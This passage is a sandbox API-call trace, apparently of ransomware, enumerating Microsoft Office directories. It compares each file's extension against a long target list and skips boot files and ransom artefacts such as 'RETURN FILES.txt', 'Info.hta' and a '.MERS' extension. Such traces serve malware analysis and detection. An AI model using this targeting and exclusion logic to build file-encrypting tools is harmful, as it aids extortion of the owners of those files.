lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".eps") returned 4 [0042.968] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".epsf") returned 5 [0042.968] lstrcmpiW (lpString1=".epsf", lpString2="w.png") returned -1 [0042.968] lstrlenW (lpString=".epsp") returned 5 [0042.968] lstrcmpiW (lpString1=".epsp", lpString2="w.png") returned -1 [0042.968] lstrlenW (lpString=".erf") returned 4 [0042.968] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".exr") returned 4 [0042.968] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".f4v") returned 4 [0042.968] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".fido") returned 5 [0042.968] lstrcmpiW (lpString1=".fido", lpString2="w.png") returned -1 [0042.968] lstrlenW (lpString=".flm") returned 4 [0042.968] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0042.968] lstrlenW (lpString=".flv") returned 4 [0042.968] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".frm") returned 4 [0042.969] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".fxg") returned 4 [0042.969] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".geo") returned 4 [0042.969] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".gif") returned 4 [0042.969] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".grs") returned 4 [0042.969] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".gz") returned 3 [0042.969] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0042.969] lstrlenW (lpString=".h") returned 2 [0042.969] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0042.969] lstrlenW (lpString=".hdr") returned 4 [0042.969] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".hpp") returned 4 [0042.969] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".hta") returned 4 [0042.969] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".htc") returned 4 [0042.969] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".htm") returned 4 [0042.969] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".html") returned 5 [0042.969] lstrcmpiW (lpString1=".html", lpString2="w.png") returned -1 [0042.969] lstrlenW (lpString=".icb") returned 4 [0042.969] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".ics") returned 4 [0042.969] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".iff") returned 4 [0042.969] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".inc") returned 4 [0042.969] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0042.969] lstrlenW (lpString=".indd") returned 5 [0042.969] lstrcmpiW (lpString1=".indd", lpString2="w.png") returned -1 [0042.969] lstrlenW (lpString=".ini") returned 4 [0042.969] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".iqy") returned 4 [0042.970] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".j2c") returned 4 [0042.970] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".j2k") returned 4 [0042.970] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".java") returned 5 [0042.970] lstrcmpiW (lpString1=".java", lpString2="w.png") returned -1 [0042.970] lstrlenW (lpString=".jp2") returned 4 [0042.970] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".jpc") returned 4 [0042.970] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".jpe") returned 4 [0042.970] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".jpeg") returned 5 [0042.970] lstrcmpiW (lpString1=".jpeg", lpString2="w.png") returned -1 [0042.970] lstrlenW (lpString=".jpf") returned 4 [0042.970] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".jpg") returned 4 [0042.970] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".jpx") returned 4 [0042.970] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".js") returned 3 [0042.970] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0042.970] lstrlenW (lpString=".jsf") returned 4 [0042.970] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".json") returned 5 [0042.970] lstrcmpiW (lpString1=".json", lpString2="w.png") returned -1 [0042.970] lstrlenW (lpString=".jsp") returned 4 [0042.970] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".kdc") returned 4 [0042.970] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".kmz") returned 4 [0042.970] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".kwm") returned 4 [0042.970] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0042.970] lstrlenW (lpString=".lasso") returned 6 [0042.971] lstrcmpiW (lpString1=".lasso", lpString2="ow.png") returned -1 [0042.971] lstrlenW (lpString=".lbi") returned 4 [0042.971] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".lgf") returned 4 [0042.971] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".lgp") returned 4 [0042.971] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".log") returned 4 [0042.971] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".m1v") returned 4 [0042.971] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".m4a") returned 4 [0042.971] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".m4v") returned 4 [0042.971] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".max") returned 4 [0042.971] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".md") returned 3 [0042.971] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0042.971] lstrlenW (lpString=".mda") returned 4 [0042.971] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mdb") returned 4 [0042.971] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mde") returned 4 [0042.971] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mdf") returned 4 [0042.971] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mdw") returned 4 [0042.971] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mef") returned 4 [0042.971] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0042.971] lstrlenW (lpString=".mft") returned 4 [0042.971] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mfw") returned 4 [0042.972] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mht") returned 4 [0042.972] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mhtml") returned 6 [0042.972] lstrcmpiW (lpString1=".mhtml", lpString2="ow.png") returned -1 [0042.972] lstrlenW (lpString=".mka") returned 4 [0042.972] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mkidx") returned 6 [0042.972] lstrcmpiW (lpString1=".mkidx", lpString2="ow.png") returned -1 [0042.972] lstrlenW (lpString=".mkv") returned 4 [0042.972] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mos") returned 4 [0042.972] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mov") returned 4 [0042.972] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mp3") returned 4 [0042.972] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mp4") returned 4 [0042.972] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mpeg") returned 5 [0042.972] lstrcmpiW (lpString1=".mpeg", lpString2="w.png") returned -1 [0042.972] lstrlenW (lpString=".mpg") returned 4 [0042.972] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mpv") returned 4 [0042.972] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mrw") returned 4 [0042.972] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".msg") returned 4 [0042.972] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".mxl") returned 4 [0042.972] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0042.972] lstrlenW (lpString=".myd") returned 4 [0042.972] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".myi") returned 4 [0042.973] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".nef") returned 4 [0042.973] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".nrw") returned 4 [0042.973] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".obj") returned 4 [0042.973] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".odb") returned 4 [0042.973] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".odc") returned 4 [0042.973] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".odm") returned 4 [0042.973] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".odp") returned 4 [0042.973] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".ods") returned 4 [0042.973] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".oft") returned 4 [0042.973] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".one") returned 4 [0042.973] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".onepkg") returned 7 [0042.973] lstrcmpiW (lpString1=".onepkg", lpString2="row.png") returned -1 [0042.973] lstrlenW (lpString=".onetoc2") returned 8 [0042.973] lstrcmpiW (lpString1=".onetoc2", lpString2="rrow.png") returned -1 [0042.973] lstrlenW (lpString=".opt") returned 4 [0042.973] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".oqy") returned 4 [0042.973] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".orf") returned 4 [0042.973] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0042.973] lstrlenW (lpString=".p12") returned 4 [0042.973] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".p7b") returned 4 [0042.974] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".p7c") returned 4 [0042.974] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pam") returned 4 [0042.974] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pbm") returned 4 [0042.974] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pct") returned 4 [0042.974] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pcx") returned 4 [0042.974] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pdd") returned 4 [0042.974] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pdf") returned 4 [0042.974] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pdp") returned 4 [0042.974] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pef") returned 4 [0042.974] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pem") returned 4 [0042.974] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pff") returned 4 [0042.974] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pfm") returned 4 [0042.974] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pfx") returned 4 [0042.974] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".pgm") returned 4 [0042.974] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".php") returned 4 [0042.974] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0042.974] lstrlenW (lpString=".php3") returned 5 [0042.974] lstrcmpiW (lpString1=".php3", lpString2="w.png") returned -1 [0042.975] lstrlenW (lpString=".php4") returned 5 [0042.975] lstrcmpiW (lpString1=".php4", lpString2="w.png") returned -1 [0042.975] lstrlenW (lpString=".php5") returned 5 [0042.975] lstrcmpiW (lpString1=".php5", lpString2="w.png") returned -1 [0042.975] lstrlenW (lpString=".phtml") returned 6 [0042.975] lstrcmpiW (lpString1=".phtml", lpString2="ow.png") returned -1 [0042.975] lstrlenW (lpString=".pict") returned 5 [0042.975] lstrcmpiW (lpString1=".pict", lpString2="w.png") returned -1 [0042.975] lstrlenW (lpString=".pl") returned 3 [0042.975] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0042.975] lstrlenW (lpString=".pls") returned 4 [0042.975] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0042.975] lstrlenW (lpString=".pm") returned 3 [0042.975] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0042.975] lstrlenW (lpString=".png") returned 4 [0042.975] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0042.975] lstrlenW (lpString="arrow.png") returned 9 [0042.975] lstrlenW (lpString=".MERS") returned 5 [0042.975] lstrcmpiW (lpString1=".MERS", lpString2="w.png") returned -1 [0042.975] lstrlenW (lpString="arrow.png") returned 9 [0042.975] lstrcmpiW (lpString1="boot.ini", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="bootfont.bin", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="ntldr", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="ntdetect.com", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="io.sys", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="Info.hta", lpString2="arrow.png") returned 1 [0042.975] lstrcmpiW (lpString1="chrome64b.exe", lpString2="arrow.png") returned 1 [0042.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png") returned 92 [0042.975] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document.gif", cAlternateFileName="")) returned 1 [0042.976] lstrlenW (lpString="Document.gif") returned 12 [0042.976] lstrlenW (lpString=".1cd") returned 4 [0042.976] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".3ds") returned 4 [0042.976] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".3fr") returned 4 [0042.976] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".3g2") returned 4 [0042.976] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".3gp") returned 4 [0042.976] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".7z") returned 3 [0042.976] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0042.976] lstrlenW (lpString=".accda") returned 6 [0042.976] lstrcmpiW (lpString1=".accda", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".accdb") returned 6 [0042.976] lstrcmpiW (lpString1=".accdb", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".accdc") returned 6 [0042.976] lstrcmpiW (lpString1=".accdc", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".accde") returned 6 [0042.976] lstrcmpiW (lpString1=".accde", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".accdt") returned 6 [0042.976] lstrcmpiW (lpString1=".accdt", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".accdw") returned 6 [0042.976] lstrcmpiW (lpString1=".accdw", lpString2="nt.gif") returned -1 [0042.976] lstrlenW (lpString=".adb") returned 4 [0042.976] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".adp") returned 4 [0042.976] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".ai") returned 3 [0042.976] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0042.976] lstrlenW (lpString=".ai3") returned 4 [0042.976] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0042.976] lstrlenW (lpString=".ai4") returned 4 [0042.977] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0042.977] lstrlenW (lpString=".ai5") returned 4 [0042.977] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0042.977] lstrlenW (lpString=".ai6") returned 4 [0042.977] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0042.977] lstrlenW (lpString=".ai7") returned 4 [0042.977] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.gif", cAlternateFileName="")) returned 1 [0042.977] lstrlenW (lpString="Generic.gif") returned 11 [0042.977] lstrlenW (lpString=".1cd") returned 4 [0042.977] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient.png", cAlternateFileName="")) returned 1 [0042.977] lstrlenW (lpString="gradient.png") returned 12 [0042.977] lstrlenW (lpString=".1cd") returned 4 [0042.977] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Main.gif", cAlternateFileName="")) returned 1 [0042.977] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Person.gif", cAlternateFileName="")) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 0 [0042.978] FindClose (in: hFindFile=0x3931a48 | out: hFindFile=0x3931a48) returned 1 [0042.978] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x4007e50 | out: hHeap=0x5f0000) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="SOLUTI~1.CSS")) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Doc.css", cAlternateFileName="SOLUTI~2.CSS")) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Generic.css", cAlternateFileName="SOLUTI~3.CSS")) returned 1 [0042.978] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Person.css", cAlternateFileName="SOLUTI~4.CSS")) returned 1 [0042.979] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Response.css", cAlternateFileName="SOB0ED~1.CSS")) returned 1 [0042.979] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="SPRING~1")) returned 1 [0042.979] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x4007e50 [0042.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931a48 [0042.980] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.980] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, 